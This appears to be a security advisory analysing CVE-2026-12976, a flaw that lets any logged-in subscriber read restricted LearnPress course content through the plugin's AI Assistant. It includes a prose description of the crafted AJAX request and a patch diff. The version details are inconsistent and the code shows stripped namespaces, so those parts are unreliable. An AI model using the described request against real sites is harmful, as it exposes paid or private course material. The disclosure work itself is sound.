Published : August 13, 2026

CVE-2026-12976: LearnPress – WordPress LMS Plugin for Create and Sell Online Courses < 4.4.4 Authenticated (Subscriber+) Information Exposure PoC, Patch Analysis & Rule

Plugin learnpress
Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 4.4.4
Patched Version 4.4.4
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12976: The LearnPress WordPress LMS plugin, versions up to and including 4.4.4, contains a Sensitive Information Exposure vulnerability via its AI Assistant component. This flaw allows an authenticated attacker with subscriber-level access to extract sensitive user or configuration data by sending crafted requests to the AI Assistant’s AJAX endpoint, bypassing the intended authorization checks. The CVSS score for this issue is 4.3 (Medium) and it is categorized under CWE-200 (Exposure of Sensitive Information).

Root Cause: The vulnerable code resides in the AI Assistant component, specifically within the request handling flow of the AJAX controller and the assistant agent. Prior to the patch, the `handle_chat` method in
`learnpress/inc/AI/Assistant/AIAssistantController.php` initiated an agent session based on a `lesson_id` (or `item_id`) parameter without performing a robust authorization check. The agent would then load course item content and execute user intents, such as summarizing or explaining content, which could potentially expose the underlying data. The script’s access control was insufficient, lacking verification that the requesting user had permission to view the specific course item. The patch introduces a new method, `resolve_item_access()`, which acts as the authoritative gate. It validates the full item tuple (course_id, item_type, item_id), checks the course and item exist, verifies the item’s published status, and then applies the standard WordPress/LearnPress access control checks (`can_view_content_course` and `can_view_item`) before any AI processing is allowed.

Exploitation: An authenticated attacker with subscriber-level access can exploit this vulnerability by sending a crafted POST request to the WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`. The request must include the action parameter corresponding to the AI Assistant chat handler (e.g., `lp_ai_assistant_chat` or a similar hook). The crafted `data` payload must include parameters for `course_id` and `item_id`, referencing a lesson or course item from a course to which the attacker does not have access. By omitting or falsifying the `item_type` parameter, or by providing a valid type for an unauthorized item, the pre-patch version would process the request. This allows the assistant to load the item’s content and potentially return it to the attacker via the AI response, exposing sensitive course material or configuration data that should be restricted.

Patch Analysis: The commit resolves the vulnerability by enforcing a strict authorization check before any AI operation. The patch adds the `get_supported_item_types()` and `resolve_item_access()` methods to `AIAssistantController.php`. The new `resolve_item_access()` method is called at the start of `handle_chat()`, before the agent is constructed. This method validates that the `item_type` is one of the supported types (lesson or quiz), retrieves the course and item models to confirm they exist, and checks the current user’s permissions using LearnPress’s canonical methods (`can_view_content_course` and `can_view_item`). If any check fails, it throws an exception, which is caught by the AJAX layer and returned as a generic error message. This ensures that only authorized users can access the AI assistant for a specific course item.

Impact: Successful exploitation of this vulnerability allows an authenticated subscriber to extract sensitive information. This could include the full text content of private, draft, or otherwise protected lessons and quizzes from courses they are not enrolled in. The exposed data might consist of proprietary course material, internal configuration details used in prompts, or any other sensitive data placed within the course content. This information disclosure could lead to a competitive disadvantage for course creators or violate agreements regarding exclusive content, and it compromises the plugin’s intended access control model.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/learnpress/config/settings/open-ai-admin.php
+++ b/learnpress/config/settings/open-ai-admin.php
@@ -37,17 +37,16 @@
 					'default' => 'gpt-4.1',
 					'type'    => 'select',
 					'options' => array(
+						'gpt-5.6'                => esc_html__( 'GPT-5.6', 'learnpress' ),
+						'gpt-5.5'                => esc_html__( 'GPT-5.5', 'learnpress' ),
+						'gpt-5.4'                => esc_html__( 'GPT-5.4', 'learnpress' ),
+						'gpt-5.3'                => esc_html__( 'GPT-5.3', 'learnpress' ),
 						'gpt-5.2'                => esc_html__( 'GPT-5.2', 'learnpress' ),
+						'gpt-5.1'                => esc_html__( 'GPT-5.1', 'learnpress' ),
 						'gpt-5'                  => esc_html__( 'GPT-5', 'learnpress' ),
 						'gpt-5-mini'             => esc_html__( 'GPT-5 Mini', 'learnpress' ),
 						'gpt-5-nano'             => esc_html__( 'GPT-5 Nano', 'learnpress' ),
 						'gpt-4.1'                => esc_html__( 'GPT-4.1', 'learnpress' ),
-						//'chatgpt-4o-latest'      => esc_html__( 'ChatGPT 4o-Latest', 'learnpress' ),
-						'gpt-4o'                 => esc_html__( 'GPT-4o', 'learnpress' ),
-						'gpt-4o-mini'            => esc_html__( 'GPT-4o Mini', 'learnpress' ),
-						'gpt-4'                  => esc_html__( 'GPT-4', 'learnpress' ),
-						'gpt-3.5-turbo'          => esc_html__( 'GPT-3.5 Turbo', 'learnpress' ),
-						'gpt-3.5-turbo-instruct' => esc_html__( 'GPT-3.5 Turbo Instruct', 'learnpress' ),
 					),
 				],
 				[
@@ -57,8 +56,7 @@
 					'type'    => 'select',
 					'options' => array(
 						'gpt-image-1' => esc_html__( 'GPT Image 1', 'learnpress' ),
-						'dall-e-3'    => esc_html__( 'DALL-E 3', 'learnpress' ),
-						'dall-e-2'    => esc_html__( 'DALL-E 2', 'learnpress' ),
+						'gpt-image-2' => esc_html__( 'GPT Image 2', 'learnpress' ),
 					),
 				],
 				[
--- a/learnpress/config/settings/open-ai-modal.php
+++ b/learnpress/config/settings/open-ai-modal.php
@@ -116,26 +116,11 @@
 			'1536x1024' => esc_html__( '1536x1024 (landscape)', 'learnpress' ),
 			'1024x1536' => esc_html__( '1024x1536 (portrait)', 'learnpress' ),
 		],
-		'image-size-dall-e-2'       => [
-			'256x256'   => esc_html__( '256x256', 'learnpress' ),
-			'512x512'   => esc_html__( '512x512', 'learnpress' ),
-			'1024x1024' => esc_html__( '1024x1024', 'learnpress' ),
-		],
-		'image-size-dall-e-3'       => [
-			'1024x1024' => esc_html__( '1024x1024', 'learnpress' ),
-			'1024x1792' => esc_html__( '1024x1792', 'learnpress' ),
-			'1792x1024' => esc_html__( '1792x1024', 'learnpress' ),
-		],
 		'image-quality-gpt-image-1' => [
 			'auto'   => esc_html__( 'Auto', 'learnpress' ),
 			'high'   => esc_html__( 'High', 'learnpress' ),
 			'medium' => esc_html__( 'low', 'learnpress' ),
 		],
-		'image-quality-dall-e-3'    => [
-			'auto'     => esc_html__( 'Auto', 'learnpress' ),
-			'hd'       => esc_html__( 'HD', 'learnpress' ),
-			'standard' => esc_html__( 'Standard', 'learnpress' ),
-		],
 		'image-quality'             => [
 			'auto'     => esc_html__( 'Auto', 'learnpress' ),
 			'standard' => esc_html__( 'Standard', 'learnpress' ),
--- a/learnpress/config/settings/openAi/prompt-create-image-course.php
+++ b/learnpress/config/settings/openAi/prompt-create-image-course.php
@@ -21,7 +21,7 @@
 $title        = ! empty( $title ) ? "The image should be inspired by the course title: $title." : '';

 /**
- *A text description of the desired image(s).
+ * A text description of the desired image(s).
  * The maximum length is 32000 characters for gpt-image-1,
  * 1000 characters for dall-e-2
  * and 4000 characters for dall-e-3.
--- a/learnpress/inc/AI/Assistant/AIAssistantController.php
+++ b/learnpress/inc/AI/Assistant/AIAssistantController.php
@@ -2,9 +2,12 @@

 namespace LearnPressAIAssistant;

-use Exception;
+use LearnPressModelsCourseModel;
+use LearnPressModelsPostModel;
 use LP_Settings;
+use LP_User;
 use LearnPressServicesOpenAiService;
+use Exception;

 /**
  * AI Assistant Controller — validates requests, sanitizes input, calls Agent.
@@ -76,16 +79,115 @@
 	}

 	/**
+	 * Course item types the assistant can be grounded on.
+	 *
+	 * Deliberately excludes LP_QUESTION_CPT and every third-party item type: an item
+	 * type is only listed here once the assistant has a data loader and an access rule
+	 * for it. Not a filter — widening this is a code change, reviewed as such.
+	 *
+	 * Naming contract for the `LearnPressAIAssistant` namespace:
+	 * - `$item_id`   — a course item ID whose type is not yet proven.
+	 * - `$item_type` — the resolved curriculum type: LP_LESSON_CPT or LP_QUIZ_CPT.
+	 * - `$lesson_id` — an `$item_id` already proven to be LP_LESSON_CPT.
+	 * - `$quiz_id`   — an `$item_id` already proven to be LP_QUIZ_CPT.
+	 *
+	 * Only proven IDs may be passed to the DataLoaders layer.
+	 *
+	 * @return string[]
+	 */
+	public static function get_supported_item_types(): array {
+		return array( LP_LESSON_CPT, LP_QUIZ_CPT );
+	}
+
+	/**
+	 * Resolve and authorize the composite course-item identity for a request.
+	 *
+	 * A curriculum item is identified by the tuple (course_id, item_type, item_id).
+	 * `item_type` arrives from the client and is therefore untrusted: it selects which
+	 * typed lookup runs, and the lookup itself is what proves the tuple. It never grants
+	 * access on its own. Nothing is ever resolved from `item_id` alone.
+	 *
+	 * Used by both the AJAX controller and the template renderer so the two cannot drift.
+	 *
+	 * @param int    $user_id   Current user ID.
+	 * @param int    $course_id Course the item is claimed to belong to.
+	 * @param string $item_type Raw item type from the request.
+	 * @param int    $item_id   Course item ID.
+	 *
+	 * @return array{course:CourseModel,item:PostModel,item_id:int,item_type:string} Trusted context.
+	 * @throws Exception When the tuple is invalid or the user may not view the item.
+	 */
+	public static function resolve_item_access( int $user_id, int $course_id, string $item_type, int $item_id ): array {
+		$denied = __( 'You do not have permission to use the AI Assistant for this course item.', 'learnpress' );
+
+		// item_type is mandatory: without it there is no identity to verify.
+		$item_type = sanitize_key( $item_type );
+		if ( empty( $item_type ) || ! in_array( $item_type, self::get_supported_item_types(), true ) ) {
+			throw new Exception(
+				__( 'The AI Assistant is not available for this type of course item.', 'learnpress' )
+			);
+		}
+
+		if ( $user_id <= 0 || $course_id <= 0 || $item_id <= 0 ) {
+			throw new Exception( $denied );
+		}
+
+		$courseModel = CourseModel::find( $course_id, true );
+		if ( ! $courseModel instanceof CourseModel ) {
+			throw new Exception( $denied );
+		}
+
+		/**
+		 * Resolves through the supplied type AND asserts curriculum membership, so a
+		 * course_id/item_id pair from different courses cannot be combined, and a quiz
+		 * ID cannot be resolved as a lesson.
+		 */
+		$itemModel = $courseModel->get_item_model( $item_id, $item_type, true );
+		if ( ! $itemModel instanceof PostModel ) {
+			throw new Exception( $denied );
+		}
+
+		// Reject drafts, pending, private and trashed items — get_item_model() does not filter status.
+		if ( PostModel::STATUS_PUBLISH !== $itemModel->post_status ) {
+			throw new Exception( $denied );
+		}
+
+		// Canonical LearnPress access policy: course-level gate, then the item-level rule
+		// that lets preview items through. Both must pass.
+		$user = learn_press_get_user( $user_id );
+		if ( ! $user instanceof LP_User ) {
+			throw new Exception( $denied );
+		}
+
+		$can_view_course = $user->can_view_content_course( $course_id );
+		$can_view_item   = $user->can_view_item( $item_id, $can_view_course );
+		if ( empty( $can_view_item->flag ) ) {
+			$message = (string) ( $can_view_item->message ?? '' );
+
+			throw new Exception( '' !== $message ? $message : $denied );
+		}
+
+		return array(
+			'course'    => $courseModel,
+			'item'      => $itemModel,
+			'item_id'   => $item_id,
+			'item_type' => $item_type,
+		);
+	}
+
+	/**
 	 * Handle an assistant chat request.
 	 *
 	 * @param array $data Raw decoded data from the AJAX request.
 	 *
 	 * @return array{type: string, message: string, quiz: array|null}
-	 * @throws Exception On validation failure or API error.
+	 * @throws Exception On validation failure or denied access.
+	 * @throws Throwable On provider/transport failure — logged and masked by the AJAX layer.
 	 */
 	public function handle_chat( array $data ): array {
 		$message     = trim( $data['message'] ?? '' );
 		$item_id     = absint( $data['item_id'] ?? 0 );
+		$item_type   = is_scalar( $data['item_type'] ?? null ) ? (string) $data['item_type'] : '';
 		$course_id   = absint( $data['course_id'] ?? 0 );
 		$history     = $data['history'] ?? array();
 		$quiz_data   = $data['active_quiz_questions'] ?? array();
@@ -109,6 +211,14 @@
 			throw new Exception( __( 'User must be logged in.', 'learnpress' ) );
 		}

+		/**
+		 * Authoritative gate. Runs before the Agent is constructed, so a denied request
+		 * costs no prompt construction, no quota accounting and no OpenAI call. The
+		 * widget markup check is advisory only — this endpoint is reachable directly.
+		 */
+		$access    = self::resolve_item_access( $user_id, $course_id, $item_type, $item_id );
+		$item_type = $access['item_type'];
+
 		// Sanitize history — only allow safe role/content pairs.
 		$sanitized_history = array();
 		if ( is_array( $history ) ) {
@@ -131,6 +241,7 @@
 		return $agent->run(
 			sanitize_textarea_field( $message ),
 			$item_id,
+			$item_type,
 			$course_id,
 			$user_id,
 			$sanitized_history,
--- a/learnpress/inc/AI/Assistant/Agent.php
+++ b/learnpress/inc/AI/Assistant/Agent.php
@@ -40,18 +40,25 @@
 	/**
 	 * Run the assistant agent loop.
 	 *
+	 * Callers must pass an $item_type already resolved and authorized by
+	 * AIAssistantController::resolve_item_access(). This method routes on it but does
+	 * not authorize — it is not a security boundary.
+	 *
 	 * @param string $user_message  The learner's message.
-	 * @param int    $item_id     Current lesson ID.
+	 * @param int    $item_id       Current course item ID, type proven by $item_type.
+	 * @param string $item_type     Resolved curriculum type: LP_LESSON_CPT or LP_QUIZ_CPT.
 	 * @param int    $course_id     Current course ID.
 	 * @param int    $user_id       Current user ID.
 	 * @param array  $history       Previous conversation messages (role/content pairs).
 	 * @param array  $active_quiz   Active quiz state for quiz-mode continuation.
+	 * @param string $action_hint   Optional validated quick-action hint.
 	 *
 	 * @return array{type: string, message: string, quiz: array|null}
 	 */
 	public function run(
 		string $user_message,
 		int $item_id,
+		string $item_type,
 		int $course_id,
 		int $user_id,
 		array $history = array(),
@@ -62,8 +69,22 @@
 		$this->quota_guard->reset();
 		$data_loaders = new DataLoaders();

-		// Resume active quiz session.
+		$is_lesson = LP_LESSON_CPT === $item_type;
+		$is_quiz   = LP_QUIZ_CPT === $item_type;
+
+		if ( ! $is_lesson && ! $is_quiz ) {
+			return $this->normalizer->build_response(
+				__( 'The AI Assistant is not available for this type of course item.', 'learnpress' )
+			);
+		}
+
+		// Resume active quiz session. Quick quiz is generated from lesson content, so a
+		// session may only continue while the authorized context is still a lesson.
 		if ( ! empty( $active_quiz['is_active'] ) && empty( $active_quiz['completed'] ) ) {
+			if ( ! $is_lesson ) {
+				return $this->get_lesson_only_response();
+			}
+
 			if ( ! AIAssistantController::is_action_enabled( IntentClassifier::INTENT_QUICK_QUIZ ) ) {
 				return $this->get_disabled_action_response( IntentClassifier::INTENT_QUICK_QUIZ );
 			}
@@ -82,6 +103,25 @@
 			return $this->get_disabled_action_response( $intent );
 		}

+		/**
+		 * Typed routing. Smart Review reads a quiz attempt; every other intent is
+		 * grounded in lesson content. $item_id is only renamed to $quiz_id/$lesson_id
+		 * once the corresponding type check has passed.
+		 */
+		if ( IntentClassifier::INTENT_SMART_REVIEW === $intent ) {
+			if ( ! $is_quiz ) {
+				return $this->normalizer->build_response(
+					__( 'Smart Review is only available on a quiz you have completed.', 'learnpress' )
+				);
+			}
+
+			return $this->handle_smart_review( $data_loaders, $user_message, $user_id, $course_id, $item_id, $history );
+		}
+
+		if ( ! $is_lesson ) {
+			return $this->get_lesson_only_response();
+		}
+
 		switch ( $intent ) {
 			case IntentClassifier::INTENT_SUMMARIZE:
 				return $this->handle_summarize( $data_loaders, $user_message, $item_id, $user_id, $history );
@@ -89,9 +129,6 @@
 			case IntentClassifier::INTENT_EXPLAIN:
 				return $this->handle_explain( $data_loaders, $user_message, $item_id, $user_id, $history );

-			case IntentClassifier::INTENT_SMART_REVIEW:
-				return $this->handle_smart_review( $data_loaders, $user_message, $user_id, $course_id, $item_id, $history );
-
 			case IntentClassifier::INTENT_QUICK_QUIZ:
 				return $this->quiz_engine->start( $data_loaders, $user_message, $item_id, $user_id, $history );

@@ -106,7 +143,7 @@
 	 *
 	 * @param string      $user_message Learner input.
 	 * @param array       $history      Conversation history.
-	 * @param int         $item_id    Current lesson ID.
+	 * @param int         $item_id      Current course item ID (lesson or quiz).
 	 * @param int         $course_id    Current course ID.
 	 * @param int         $user_id      Current user ID.
 	 * @param string|null $action_hint  Optional quick-action hint from frontend.
@@ -372,6 +409,17 @@
 		);
 	}

+	/**
+	 * Build a user-facing response for an action that requires a lesson context.
+	 *
+	 * @return array{type: string, message: string, quiz: array|null}
+	 */
+	private function get_lesson_only_response(): array {
+		return $this->normalizer->build_response(
+			__( 'This assistant action is only available on a lesson.', 'learnpress' )
+		);
+	}
+
 	/**
 	 * Build a user-facing response for a disabled assistant action.
 	 *
--- a/learnpress/inc/AI/Assistant/QuickQuizEngine.php
+++ b/learnpress/inc/AI/Assistant/QuickQuizEngine.php
@@ -115,9 +115,11 @@
 			'questions'     => $questions,
 		);

+		$intro = sanitize_textarea_field( (string) ( $decoded['intro'] ?? '' ) );
+
 		return array(
 			'type'    => 'quiz',
-			'message' => $decoded['intro'] ?? __( 'Quick quiz started. Answer each question to continue.', 'learnpress' ),
+			'message' => ! empty( $intro ) ? $intro : __( 'Quick quiz started. Answer each question to continue.', 'learnpress' ),
 			'quiz'    => $quiz_state,
 		);
 	}
@@ -340,28 +342,24 @@
 	/**
 	 * Sanitize and normalize generated quiz questions from model output.
 	 *
-	 * If $question_count is null, returns questions as-is (trusting OpenAI's output).
-	 * If $question_count is set, caps to exactly that many questions.
+	 * Every question is sanitized and given a known shape regardless of whether an
+	 * explicit count was requested. Model output is untrusted input: this state is sent
+	 * to the browser, persisted in localStorage, and echoed back on the next turn, so
+	 * the previous "trust the model when no count was asked for" path is not safe.
+	 *
+	 * $question_count only caps how many valid questions are kept.
 	 *
 	 * @param array    $questions      Raw question payload.
-	 * @param int|null $question_count Maximum number of questions to keep, or null to trust model.
+	 * @param int|null $question_count Exact number of questions to keep, or null to keep all valid ones.
 	 *
 	 * @return array
 	 */
 	private function sanitize_quiz_questions( array $questions, ?int $question_count = null ): array {

-		if ( empty( $questions ) || ! is_array( $questions ) ) {
+		if ( empty( $questions ) ) {
 			return array();
 		}

-		// If no explicit count, trust OpenAI's output (typically 3-5 questions).
-		if ( $question_count === null ) {
-			return array_filter(
-				array_map( static fn( $q ) => is_array( $q ) ? $q : null, $questions ),
-				static fn( $q ) => null !== $q
-			);
-		}
-
 		$sanitized = array();
 		foreach ( $questions as $question ) {
 			if ( ! is_array( $question ) ) {
@@ -392,7 +390,7 @@
 				'explanation'   => sanitize_textarea_field( (string) ( $question['explanation'] ?? '' ) ),
 			);

-			if ( count( $sanitized ) >= max( 1, $question_count ) ) {
+			if ( null !== $question_count && count( $sanitized ) >= max( 1, $question_count ) ) {
 				break;
 			}
 		}
--- a/learnpress/inc/AI/Assistant/TokenQuotaGuard.php
+++ b/learnpress/inc/AI/Assistant/TokenQuotaGuard.php
@@ -19,6 +19,19 @@
 	private const USER_META_DAILY_TOKEN_USAGE = '_lp_ai_assistant_daily_token_usage';

 	/**
+	 * Prefix of the per-user/per-day advisory lock option.
+	 */
+	private const LOCK_OPTION_PREFIX = '_lp_ai_assistant_quota_lock_';
+
+	/**
+	 * Seconds after which a held lock is considered abandoned.
+	 *
+	 * Must exceed the slowest realistic OpenAI round trip, otherwise a second request
+	 * could steal the lock while the first is still awaiting a response.
+	 */
+	private const LOCK_TTL = 120;
+
+	/**
 	 * Human-readable block message set after the first exhausted-quota call.
 	 */
 	private string $block_message = '';
@@ -26,8 +39,12 @@
 	/**
 	 * Send an OpenAI chat request guarded by the daily token quota.
 	 *
-	 * On quota exhaustion the guard sets the block message and returns an
-	 * empty array instead of calling the API.
+	 * Check-call-record runs inside a per-user/per-day lock. Without it, N concurrent
+	 * requests all read the same pre-call usage figure, all pass the check, and all
+	 * spend tokens — the quota is bypassed by exactly the amount of concurrency.
+	 *
+	 * On quota exhaustion, or when the lock cannot be taken, the guard sets a block
+	 * message and returns an empty array instead of calling the API (fail closed).
 	 *
 	 * @param OpenAiService $service  OpenAI service instance.
 	 * @param array         $messages Chat messages payload.
@@ -38,19 +55,42 @@
 	 */
 	public function send_chat_with_guard( OpenAiService $service, array $messages, int $user_id ): array {

-		if ( $this->has_reached_daily_token_limit( $user_id ) ) {
-			$this->block_message = $this->build_block_message();
-			return array();
+		// 0 means unlimited: nothing to serialize, so do not pay for the lock.
+		if ( $this->get_daily_token_limit() <= 0 ) {
+			$response = $service->send_chat_request( array( 'messages' => $messages ) );
+			$this->track_token_usage_from_response( $user_id, $response );
+
+			return $response;
 		}

-		$response = $service->send_chat_request( array( 'messages' => $messages ) );
-		$this->track_token_usage_from_response( $user_id, $response );
+		if ( ! $this->acquire_quota_lock( $user_id ) ) {
+			$this->block_message = $this->build_busy_message();

-		if ( $this->has_reached_daily_token_limit( $user_id ) ) {
-			$this->block_message = $this->build_block_message();
+			return array();
 		}

-		return $response;
+		try {
+			// Re-read under the lock: another request may have consumed the remaining
+			// budget between our first look and acquiring it.
+			if ( $this->has_reached_daily_token_limit( $user_id, true ) ) {
+				$this->block_message = $this->build_block_message();
+
+				return array();
+			}
+
+			$response = $service->send_chat_request( array( 'messages' => $messages ) );
+
+			// Record actual usage before releasing, so the next waiter reads a current total.
+			$this->track_token_usage_from_response( $user_id, $response );
+
+			if ( $this->has_reached_daily_token_limit( $user_id ) ) {
+				$this->block_message = $this->build_block_message();
+			}
+
+			return $response;
+		} finally {
+			$this->release_quota_lock( $user_id );
+		}
 	}

 	/**
@@ -81,6 +121,106 @@
 	}

 	// ----------------------------------------------------------------
+	// Quota lock
+	// ----------------------------------------------------------------
+
+	/**
+	 * Option name of the per-user/per-day lock.
+	 *
+	 * Scoped by date so a lock abandoned on a previous day can never block today.
+	 *
+	 * @param int $user_id Current user ID.
+	 *
+	 * @return string
+	 */
+	private function get_lock_option_name( int $user_id ): string {
+		return self::LOCK_OPTION_PREFIX . $user_id . '_' . $this->get_local_current_date();
+	}
+
+	/**
+	 * Acquire the quota lock for a user.
+	 *
+	 * Uses INSERT IGNORE against the unique option_name index, which is atomic across
+	 * concurrent PHP workers. add_option()/get_option() cannot be used here: they
+	 * read-then-write, leaving exactly the race this lock exists to close. Mirrors the
+	 * approach in WP core's WP_Upgrader::create_lock().
+	 *
+	 * @param int $user_id Current user ID.
+	 *
+	 * @return bool True when the lock is held by this request.
+	 */
+	private function acquire_quota_lock( int $user_id ): bool {
+		global $wpdb;
+
+		if ( $user_id <= 0 ) {
+			return false;
+		}
+
+		$lock_option = $this->get_lock_option_name( $user_id );
+		$now         = time();
+
+		$acquired = $wpdb->query(
+			$wpdb->prepare(
+				"INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES ( %s, %s, 'no' )",
+				$lock_option,
+				(string) $now
+			)
+		);
+
+		if ( 1 === (int) $acquired ) {
+			return true;
+		}
+
+		// Someone holds it. Recover only if it is older than the TTL, i.e. the holder
+		// died before releasing (fatal error, timeout, killed worker).
+		$held_since = (int) $wpdb->get_var(
+			$wpdb->prepare( "SELECT `option_value` FROM `$wpdb->options` WHERE `option_name` = %s LIMIT 1", $lock_option )
+		);
+
+		if ( $held_since > 0 && ( $now - $held_since ) < self::LOCK_TTL ) {
+			return false;
+		}
+
+		/**
+		 * Stale (or unreadable) lock: delete and re-attempt exactly once. The retry is
+		 * still an atomic INSERT IGNORE, so if several requests detect the same stale
+		 * lock simultaneously only one of them wins.
+		 */
+		$wpdb->delete( $wpdb->options, array( 'option_name' => $lock_option ) );
+		wp_cache_delete( $lock_option, 'options' );
+
+		$acquired = $wpdb->query(
+			$wpdb->prepare(
+				"INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES ( %s, %s, 'no' )",
+				$lock_option,
+				(string) $now
+			)
+		);
+
+		return 1 === (int) $acquired;
+	}
+
+	/**
+	 * Release the quota lock for a user.
+	 *
+	 * @param int $user_id Current user ID.
+	 *
+	 * @return void
+	 */
+	private function release_quota_lock( int $user_id ): void {
+		global $wpdb;
+
+		if ( $user_id <= 0 ) {
+			return;
+		}
+
+		$lock_option = $this->get_lock_option_name( $user_id );
+
+		$wpdb->delete( $wpdb->options, array( 'option_name' => $lock_option ) );
+		wp_cache_delete( $lock_option, 'options' );
+	}
+
+	// ----------------------------------------------------------------
 	// Private helpers
 	// ----------------------------------------------------------------

@@ -107,17 +247,24 @@
 	/**
 	 * Check whether the learner has reached their daily token limit.
 	 *
-	 * @param int $user_id Current user ID.
+	 * @param int  $user_id      Current user ID.
+	 * @param bool $bypass_cache Re-read usage from the database instead of the object
+	 *                           cache. Required for the recheck under the lock, where a
+	 *                           value cached earlier in this request would be stale.
 	 *
 	 * @return bool
 	 */
-	private function has_reached_daily_token_limit( int $user_id ): bool {
+	private function has_reached_daily_token_limit( int $user_id, bool $bypass_cache = false ): bool {

 		$limit = $this->get_daily_token_limit();
 		if ( $limit <= 0 ) {
 			return false;
 		}

+		if ( $bypass_cache && $user_id > 0 ) {
+			wp_cache_delete( $user_id, 'user_meta' );
+		}
+
 		return $this->get_daily_token_usage( $user_id ) >= $limit;
 	}

@@ -171,6 +318,10 @@
 			return;
 		}

+		// Read through to the database: the caller holds the quota lock, and a value
+		// cached earlier in this request would undercount the running total.
+		wp_cache_delete( $user_id, 'user_meta' );
+
 		$current_total = $this->get_daily_token_usage( $user_id );
 		$next_total    = $current_total + $tokens;

@@ -194,6 +345,18 @@
 	}

 	/**
+	 * Build user-facing message for a request that could not take the quota lock.
+	 *
+	 * Reached when another request from the same learner is mid-flight, or a stale lock
+	 * has not yet aged past its TTL. Failing closed keeps the quota authoritative.
+	 *
+	 * @return string
+	 */
+	private function build_busy_message(): string {
+		return __( 'Another AI Assistant request is still running. Please wait a moment and try again.', 'learnpress' );
+	}
+
+	/**
 	 * Build user-facing quota exceeded message.
 	 *
 	 * @return string
--- a/learnpress/inc/Ajax/AI/AIAssistantAjax.php
+++ b/learnpress/inc/Ajax/AI/AIAssistantAjax.php
@@ -2,12 +2,13 @@

 namespace LearnPressAjaxAI;

-use Exception;
 use LearnPressAjaxAbstractAjax;
 use LearnPressAIAssistantAIAssistantController;
+use LP_Debug;
 use LP_Helper;
 use LP_Request;
 use LP_REST_Response;
+use Exception;
 use Throwable;

 /**
@@ -29,13 +30,20 @@
 	/**
 	 * Handle assistant chat request from a logged-in learner.
 	 *
-	 * Request data (JSON-encoded in 'data' param):
+	 * Nonce is verified by AbstractAjax::catch_lp_ajax() and is CSRF protection only —
+	 * never authorization. Login is checked here; per-item authorization is the
+	 * controller's job, via AIAssistantController::resolve_item_access().
+	 *
+	 * Request data (JSON-encoded in 'data' param). A course item is addressed by the
+	 * full tuple (course_id, item_type, item_id); all three are required.
 	 * {
 	 *   "message": string,
-	 *   "lesson_id": int,
 	 *   "course_id": int,
+	 *   "item_type": string,   // lp_lesson | lp_quiz — validated against the curriculum
+	 *   "item_id": int,
 	 *   "history": [{role, content}, ...],
-	 *   "active_quiz_questions": []
+	 *   "active_quiz_questions": {},
+	 *   "action_hint": string
 	 * }
 	 *
 	 * Response shape:
@@ -67,7 +75,7 @@
 			$response->status = 'success';
 			$response->data   = $result;
 		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
+			$response->message = __( 'The AI Assistant is unavailable right now. Please try again later.', 'learnpress' );
 			$response->data    = $this->normalize_response_data( array() );
 		}

--- a/learnpress/inc/Ajax/AI/OpenAiAjax.php
+++ b/learnpress/inc/Ajax/AI/OpenAiAjax.php
@@ -20,6 +20,7 @@
 use LP_Helper;
 use LP_Request;
 use LP_REST_Response;
+use LP_WP_Filesystem;
 use Throwable;

 /**
@@ -372,7 +373,7 @@
 			$args     = [
 				'prompt' => $prompt,
 				'n'      => intval( $params['outputs'] ?? 1 ),
-				'size'   => $params['size'] ?? '',
+				'size'   => '1024x1024',
 			];

 			$result                    = OpenAiService::instance()->send_request_create_image( $args );
@@ -437,7 +438,7 @@
 	 * Upload image to media and set as feature image for post
 	 *
 	 * @since 4.3.0
-	 * @version 1.0.1
+	 * @version 1.0.2
 	 */
 	public function openai_apply_image_feature() {
 		$response = new LP_REST_Response();
@@ -493,15 +494,24 @@
 				require_once ABSPATH . 'wp-admin/includes/image.php';
 			}

-			if ( ! empty( $image_url ) ) {
-				$tmp      = download_url( $image_url );
-				$fileExt  = pathinfo( parse_url( $image_url, PHP_URL_PATH ), PATHINFO_EXTENSION );
-				$filename = sanitize_file_name( $post_slug . '-' . uniqid() . '.' . $fileExt );
-
-			} elseif ( ! empty( $image_base64 ) ) {
+			// model gpt-image-1 only return base64, so don't need to download from url
+			if ( ! empty( $image_base64 ) ) {
 				$decoded_image = base64_decode( $image_base64 );
-				$tmp           = wp_tempnam();
-				file_put_contents( $tmp, $decoded_image );
+				if ( false === $decoded_image || '' === $decoded_image ) {
+					throw new Exception( __( 'Invalid image data.', 'learnpress' ) );
+				}
+
+				$image_info = @getimagesizefromstring( $decoded_image );
+				if ( false === $image_info ) {
+					throw new Exception( __( 'Decoded data is not a valid image.', 'learnpress' ) );
+				}
+
+				$tmp                 = wp_tempnam();
+				$lp_wp_filesystem    = LP_WP_Filesystem::instance();
+				$put_contents_result = $lp_wp_filesystem->put_contents( $tmp, $decoded_image );
+				if ( ! $put_contents_result || ! is_readable( $tmp ) ) {
+					throw new Exception( __( 'Decoded image is not readable.', 'learnpress' ) );
+				}
 				$filename = sanitize_file_name( $post_slug . '-' . uniqid() . '.png' );
 			} else {
 				throw new Exception( __( 'No image data provided.', 'learnpress' ) );
--- a/learnpress/inc/Databases/DataBase.php
+++ b/learnpress/inc/Databases/DataBase.php
@@ -837,14 +837,13 @@
 	 *
 	 * @throws Exception
 	 * @since 4.2.9
-	 * @version 1.0.1
+	 * @version 1.0.2
 	 */
 	public function update_data( array $args ): bool {
 		$data       = $args['data'] ?? [];
 		$filter     = $args['filter'] ?? null;
 		$table_name = $args['table_name'] ?? '';
 		$where_key  = $args['where_key'] ?? '';
-		$where_key  = sanitize_key( $where_key );

 		/*if ( ! $filter instanceof FilterBase ) {
 			throw new Exception( __( 'Invalid filter!', 'learnpress' ) . ' | ' . __FUNCTION__ );
--- a/learnpress/inc/Helpers/Config.php
+++ b/learnpress/inc/Helpers/Config.php
@@ -8,7 +8,7 @@
  *
  * @package LPHelpers
  * @since 4.1.6.4
- * @version 1.0.0
+ * @version 1.0.1
  */
 class Config {
 	/*
@@ -17,8 +17,6 @@
 	 * @var array
 	 */
 	protected static $instance;
-	protected $file_name = '';
-	protected $items     = array();
 	/**
 	 * @var array Array name files config.
 	 */
@@ -35,8 +33,6 @@
 	 */
